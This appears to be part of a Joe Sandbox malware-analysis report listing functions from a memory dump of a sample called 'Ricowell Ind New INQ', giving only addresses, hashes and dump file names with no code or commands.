Instruction Fuzzy Hash: 2C116D78D10259EFCB04DFA8D445AAEB7B4EF18708F14805AB815EB381E634DA02CF55

Function 378B5654 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142e258c31b2854674597990c3f52e5af594bf5f99f2c3b686c6bb1bb1f636c8
Instruction ID: 72f5885db66f4dca45c7b47bd6566ff53f7308d87602e4ea3914dded4f797856
Opcode Fuzzy Hash: 142e258c31b2854674597990c3f52e5af594bf5f99f2c3b686c6bb1bb1f636c8
Instruction Fuzzy Hash: 71F022B3A02214BFE719CF5CC840F5AB7ECEB5A660F014079E500DB270E671EE05CA94

Function 3787C2B0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9429900c64a47a2e9c2ca5d52e6d9bd748c69c7f3c99ecb53a8a2d053acaf1b
Instruction ID: 89d6d7a993e6fc0fa130929b3edcd093c2505ddc944afba8d7a36f7ea4627423
Opcode Fuzzy Hash: f9429900c64a47a2e9c2ca5d52e6d9bd748c69c7f3c99ecb53a8a2d053acaf1b
Instruction Fuzzy Hash: F7F0C2732507A29FE3220A9D8844B5B66ED9FF5A70F160035A51ABB604CE6488029AD5

Function 3790D4A0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af11def8e590a528be0641470f402043677213bb075b8d22c287f1dc51e53141
Instruction ID: 6707180ed3a96929d207d629fa4b7e22c2bcce869ab4c3c82c19e88c5d09e2de
Opcode Fuzzy Hash: af11def8e590a528be0641470f402043677213bb075b8d22c287f1dc51e53141
Instruction Fuzzy Hash: 70F028372816C077CA3167A84C50F5A362D9FD5F6CF40057876125F6A1C91CDC01CE91

Function 3793F30A Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48990d4a837d91827e0548f8aae576e01d4870b7fe0ef5e826000887d74063d8
Instruction ID: 45275cc2e6f88e5bb271585351b3111f80f379d724bd7d17bf6949dc7e34251a
Opcode Fuzzy Hash: 48990d4a837d91827e0548f8aae576e01d4870b7fe0ef5e826000887d74063d8
Instruction Fuzzy Hash: 1301EDB4E01749EFDB04DFA9D545A9EB7F4BF08744F004069A815EB341E678DA00CB51

Function 3793F409 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9021615ce058d5ec62d0b6dc954a79c62b2f6ee16962c8a8bd7a752713ce364
Instruction ID: f52c71775627cb2ed501077e4370081839e1fa606ef6c4502b87b28da023e13b
Opcode Fuzzy Hash: d9021615ce058d5ec62d0b6dc954a79c62b2f6ee16962c8a8bd7a752713ce364
Instruction Fuzzy Hash: A7F0A472A11358ABE704DBB9C809AAEB7B8EF44714F0080AAF521FB2C0DA74D9018B51

Function 378B648A Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea98f2ee7c8569c103d633f4aca3a3f5f68acb3b741488c7d6aa9f7ae8d98941
Instruction ID: 155fb06410675e416581d1548e6573749bb05d4cb4ab95d9f09c320b7e3a4b2c
Opcode Fuzzy Hash: ea98f2ee7c8569c103d633f4aca3a3f5f68acb3b741488c7d6aa9f7ae8d98941
Instruction Fuzzy Hash: E601A4B4348F80DFFB228F2CDD49B2537E8AB21B64F544191B9149B7E2DB2CD840CA15

Function 379532C9 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6204972ff3b380f720e05b2ecc519c88e41dbe2758d314eba0478bbef22976ee
Instruction ID: cf9d57a4f6d51c593aed8fd822c4686f0d2c02f9fd1159647e03ef2e9a1de584
Opcode Fuzzy Hash: 6204972ff3b380f720e05b2ecc519c88e41dbe2758d314eba0478bbef22976ee
Instruction Fuzzy Hash: A5F04F72500208BFE711DBA8CC41FDAB7FCEB08728F004566E965E71C0EA70EA40CB91

Function 3790C51D Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3d6989f69cf2b9bf5e7c7689442aea85c775322bb8eb9beaa81eece36356623
Instruction ID: b39a2bdb5908a9496c97b771fd38116f1c998cb355c5224070fe39e5c9a9c950
Opcode Fuzzy Hash: d3d6989f69cf2b9bf5e7c7689442aea85c775322bb8eb9beaa81eece36356623
Instruction Fuzzy Hash: EFF0A4702197449FC314DF68C445A2AB7E4EF99B14F40465AB8A8DB390EA38E900CB56

Function 378B0774 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7835e4d6d6559359274cfa51e41153a2ed1920ea28c928af81b6d046f1638e
Instruction ID: 65f5ccc6c4de85adaa69f07b3b0fadff78fa991237cd4665d319c4870f4a70e4
Opcode Fuzzy Hash: 1b7835e4d6d6559359274cfa51e41153a2ed1920ea28c928af81b6d046f1638e
Instruction Fuzzy Hash: 06F02472611208AFE724CF25CC05B96B7E9EFA8350F1080789404C72A0FAB2ED00CA19

Function 3790C592 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff63fae1fdcd4267510e7cbe9511fc57b14329c30b173d0a18d32927a81e306a
Instruction ID: 4fd9a393abff9aeedf1cfa3aec0269845822b92e8c5683c4e27ecbe9992ba036
Opcode Fuzzy Hash: ff63fae1fdcd4267510e7cbe9511fc57b14329c30b173d0a18d32927a81e306a
Instruction Fuzzy Hash: 6AF04F74A113489FDB14EFA8C555AAEB7F8EF58304F408169B815EB381EA78EA01CF51

Function 3788471B Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abacb5bcf7126329b23507051267205f4b24fe62c448d44eb7238a40c4642d78
Instruction ID: 3d07e8b6e3cca7104ac1441e3228f6e93920fa6f844f7b87887c1c777c04d455
Opcode Fuzzy Hash: abacb5bcf7126329b23507051267205f4b24fe62c448d44eb7238a40c4642d78
Instruction Fuzzy Hash: D3F059BB8013ACBFE711EF24C000B4177C49B233B8F164D66D42C8F511C324E884C651

Function 3793F247 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55507dcc4827334ba3e1bc5efcc87d6cc39d465e3c3c6c7685f542be44c223ea
Instruction ID: a00ee07c6bcddc13922b5cecdd143fd71c15a28680ceeacea544fb9f1179e6f6
Opcode Fuzzy Hash: 55507dcc4827334ba3e1bc5efcc87d6cc39d465e3c3c6c7685f542be44c223ea
Instruction Fuzzy Hash: ACF06DB5A11248EFDB04DFE8D445EAEBBF8AF18308F004069F515EB281EA78D900CB54

Function 378BC50D Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14b0a764653fc1fff92d7a3f244b7dd22d080519d54fd8b5808dabfbe188f02a
Instruction ID: 331518ac46df85bb3433be3719aadb4a91a4ef2a89dd951cacd20e168986a03b
Opcode Fuzzy Hash: 14b0a764653fc1fff92d7a3f244b7dd22d080519d54fd8b5808dabfbe188f02a
Instruction Fuzzy Hash: 86F0E2B9A61B90DFEB328B5CC0C4B7177D4BB616B4F418565D446C7712C764F880C685

Function 378C2539 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ed3d22eeff636eb0551a0025a211ec4f1b1c67496731614af6a82ea339e5be1
Instruction ID: 42f60b4d60087307401d33489d077307e4923a2db9bde32c7ab0b21376370552
Opcode Fuzzy Hash: 2ed3d22eeff636eb0551a0025a211ec4f1b1c67496731614af6a82ea339e5be1
Instruction Fuzzy Hash: 90E0D8727415412BD751CE5D8CD4F47B79EDFE2B10F000479B9045F191CAE6DD0986A0

Function 3793F7CF Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 007989ed62645a2622c3c53030505cc7e7e01903c4e7d69265d98daa7e95b311
Instruction ID: d00eb7262991e5a2c224cbbe960b96736e684a9eb88a46877c9ef095e2823750
Opcode Fuzzy Hash: 007989ed62645a2622c3c53030505cc7e7e01903c4e7d69265d98daa7e95b311
Instruction Fuzzy Hash: 33F08271A01249EBDB04DBA8D54AA9EB7B8AF08708F400098F512FB2C0E978D940CB15

Function 3793F717 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d46a900c9d07f8b56aa82e2fefa026e4a203ef3d5d303b8eedcad12b8cd7547
Instruction ID: fab0f5cc6b30aa3205ecefe90753459146902117251d2254a7f703e07b6f676b
Opcode Fuzzy Hash: 8d46a900c9d07f8b56aa82e2fefa026e4a203ef3d5d303b8eedcad12b8cd7547
Instruction Fuzzy Hash: 54F08975A11248DBDB04DBA8D545B5EB7B8AF08708F400054F516EB3C0D978D940CB55

Function 3793F2AE Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31e337e29d1a76632848f96efcd62ae3a3920b578c6a89eb95a84cdceba200ea
Instruction ID: 8a918dfac00ca11d9cee70b84a8e0690fc3107ec2c3f383ca09a685ebbaf6dad
Opcode Fuzzy Hash: 31e337e29d1a76632848f96efcd62ae3a3920b578c6a89eb95a84cdceba200ea
Instruction Fuzzy Hash: CDF08271A11248EFDB04DBE8D45AF9EB7B8AF18708F500098F512EB2C0D978D941CB19

Function 378B174A Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2648b239f8562216116b66afac70f52ffcaba7818af5bef8e0f5d1a7cd4627b8
Instruction ID: 5b039385c3cc880649009d495e719949d2e3d9b18c825f978a2a2af0f45aa865
Opcode Fuzzy Hash: 2648b239f8562216116b66afac70f52ffcaba7818af5bef8e0f5d1a7cd4627b8
Instruction Fuzzy Hash: 2BE09272A428216BE2619F18AC00FA6739DEBF4650F090435E514DB214DA28DD02C7E1

Function 37880630 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fb8b229e0179ed1d94183841a0f137a63d66d46d99527f7ccba905b47740c18
Instruction ID: e1c4d7a3f7e587ce0a6f8d0dab1462912a03b70f58e3c14681922cd4c904b528
Opcode Fuzzy Hash: 7fb8b229e0179ed1d94183841a0f137a63d66d46d99527f7ccba905b47740c18
Instruction Fuzzy Hash: E7F0ED7A304748AFE705CF16D040A957BE8EBB93A0F000094EC858B301DB35F881CB82

Function 378B54E0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 369f009082050829a275a7bbe12d1f068ebee6e8ca6735a7f0af70988af87659
Instruction ID: c46d3d6caa81a8a6c071595488270bff94a8b9458aa4074e80fb42e88779d071
Opcode Fuzzy Hash: 369f009082050829a275a7bbe12d1f068ebee6e8ca6735a7f0af70988af87659
Instruction Fuzzy Hash: 45E0ED72142715ABD7314A0EDC00F12FB68EBA17B1F248229E52843AA08B64F801CAE0

Function 37953336 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0008614389e4c6b7c8f3a5444dc37d698eba2a91f3b45f08bbf5d080c4fc888
Instruction ID: 5022159d398e300b7079136823cc7a3ee3eea1acc77024ff4da8fa4146d37e63
Opcode Fuzzy Hash: c0008614389e4c6b7c8f3a5444dc37d698eba2a91f3b45f08bbf5d080c4fc888
Instruction Fuzzy Hash: 1DE065B2210210BBE725DB48CD01FE673ECEB18734F900268B125920E0EAB4FE40CA60

Function 37882500 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8045b2c4ba9a2a6db560adcddc4d1d8a33b9e772c44c400f9fd5629249023516
Instruction ID: bd41aa072ec004752de85ed9ad43e4eff2ad2d2e776f6b7029cc9493b58cdc43
Opcode Fuzzy Hash: 8045b2c4ba9a2a6db560adcddc4d1d8a33b9e772c44c400f9fd5629249023516
Instruction Fuzzy Hash: 19E09232140944ABC321EB1DDC11F9ABBA9EB60364F004524F126975A0CA38E910CBC5

Function 378781EB Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114db9202c54257abf2526529968dd102c67066819c003b1d4cdd2b3c6882db7
Instruction ID: 6eb29d6aee7438ef74375fb584a626d9ed89e21e948ddf7eae6645488c96388f
Opcode Fuzzy Hash: 114db9202c54257abf2526529968dd102c67066819c003b1d4cdd2b3c6882db7
Instruction Fuzzy Hash: 9AE08C31051655EEE7315E2ADC00F41BAA1AF24B60F24086AE086068A08EB8D881EE49

Function 3787B502 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c583dce7c6f581c5b0a3768414c357600350311837f1921a9e10f15296612cb1
Instruction ID: 1f0a9a0b7a83b96a96c48aee70c747d0d0af8d84f10fc9b2d27e37a75376fa4f
Opcode Fuzzy Hash: c583dce7c6f581c5b0a3768414c357600350311837f1921a9e10f15296612cb1
Instruction Fuzzy Hash: 04D05E32051650AACB321F1CED05F937AB6AF50B20F050928B112568F086B9ED84CE92

Function 378FE588 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e1c536986b7be52acab18f0f65ce6b57b56a1f95f795bf6ae5db3b9db2cf4f
Instruction ID: 1e58e367ad85761d8d4c5ddb0b38828e5d87e75abbac2522cbae242f84a00d7a
Opcode Fuzzy Hash: 52e1c536986b7be52acab18f0f65ce6b57b56a1f95f795bf6ae5db3b9db2cf4f
Instruction Fuzzy Hash: 8BE0EC799506849FCB12DF99CA40F5AB7B5BF99B10F150454A4189B660C629E900CB41

Function 378BE4BC Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a3d40c4745f6345f33bf01183ce61f2c0162c83d53e40109a16f3db65756406
Instruction ID: 940e9e7fb9d38dfcb7f011df47bde1d7cb45fb4a18d8434de847a4d8f8e1a96c
Opcode Fuzzy Hash: 5a3d40c4745f6345f33bf01183ce61f2c0162c83d53e40109a16f3db65756406
Instruction Fuzzy Hash: E2D0C932254650ABD7729A1DFC00FC373E9AB98B61F160869B119C7551C769EC82CA84

Function 378BA750 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5864ed2f3896c9ef293a2b15130b013708e0d33e54b768a67b2e33eeb472f52c
Instruction ID: dc3daab1741ef0aedd9d1ff3740df87fa24a12df0d11bd2a6ad3733ae9f1c5a3
Opcode Fuzzy Hash: 5864ed2f3896c9ef293a2b15130b013708e0d33e54b768a67b2e33eeb472f52c
Instruction Fuzzy Hash: 86D012371D054CBBCB119F69DC01F957BA9E7A5B60F044420B514875A0CA3AE950D984

Function 378BC620 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b26b5d956b916a6823f9d5f3f736f76b5a6e9545a82aefec3b8cf0bc66e7001
Instruction ID: cba90dc017b808a93b2d1e82ad174b372d56a70a56561a2ec200d093e701cca5
Opcode Fuzzy Hash: 8b26b5d956b916a6823f9d5f3f736f76b5a6e9545a82aefec3b8cf0bc66e7001
Instruction Fuzzy Hash: 3AC01232290648AFC7229A98CD01F427BA9EBA8B00F000421F2048BA70C635E820EA88

Function 378901C0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a34f73ca023a4a6a785f5d272c303ec3737921b4ae57e2e5ea1d679eb78ef85
Instruction ID: 1013adad246f588d3b12440f491b898eeb8247091d182d2cd0b5fd3ed6abe1ab
Opcode Fuzzy Hash: 9a34f73ca023a4a6a785f5d272c303ec3737921b4ae57e2e5ea1d679eb78ef85
Instruction Fuzzy Hash: E8D0C939312D84CFD20ACF09C890B0533A8BB45B90FC104E0E805CBB22E32CE940CA00

Function 378A0230 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

